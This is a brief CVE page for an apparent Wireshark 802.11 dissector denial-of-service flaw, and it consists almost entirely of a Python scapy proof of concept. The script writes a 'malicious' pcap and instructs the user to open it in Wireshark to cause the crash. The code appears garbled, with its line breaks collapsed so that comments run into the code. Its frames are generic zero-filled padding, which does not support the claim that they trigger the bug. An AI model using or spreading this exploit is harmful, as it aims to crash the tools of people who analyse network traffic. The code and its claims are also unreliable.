CVE-2026-0959: Wireshark IEEE 802.11协议解析器崩溃导致拒绝服务

#!/usr/bin/env python3 # CVE-2026-0959 PoC - Malicious IEEE 802.11 Frame Generator # This PoC generates a malformed 802.11 frame that triggers Wireshark dissector crash from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11Elt from scapy.layers.dot11 import Dot11, Dot11Beacon import struct def create_malformed_80211_frame(): """Generate a malformed IEEE 802.11 frame for CVE-2026-0959""" # Create RadioTap header with malformed length radio = RadioTap()/b'\x00' * 50 # Malformed RadioTap header # Create malformed Dot11 frame # Set invalid frame control field and length values dot11 = Dot11( type=2, # Data frame subtype=0, # No subtype FCfield=0, ID=0, addr1='ff:ff:ff:ff:ff:ff', addr2='aa:bb:cc:dd:ee:ff', addr3='aa:bb:cc:dd:ee:ff' ) # Add malformed payload with invalid length fields payload = b'\x00' * 200 # Malformed payload frame = radio / dot11 / payload return frame def save_pcap(filename): """Save malformed frames to pcap file""" from scapy.all import wrpcap frames = [create_malformed_80211_frame() for _ in range(10)] wrpcap(filename, frames) print(f"Malicious pcap saved to {filename}") if __name__ == '__main__': save_pcap('cve_2026_0959_poc.pcap') print("PoC generated. Open with Wireshark to trigger vulnerability.")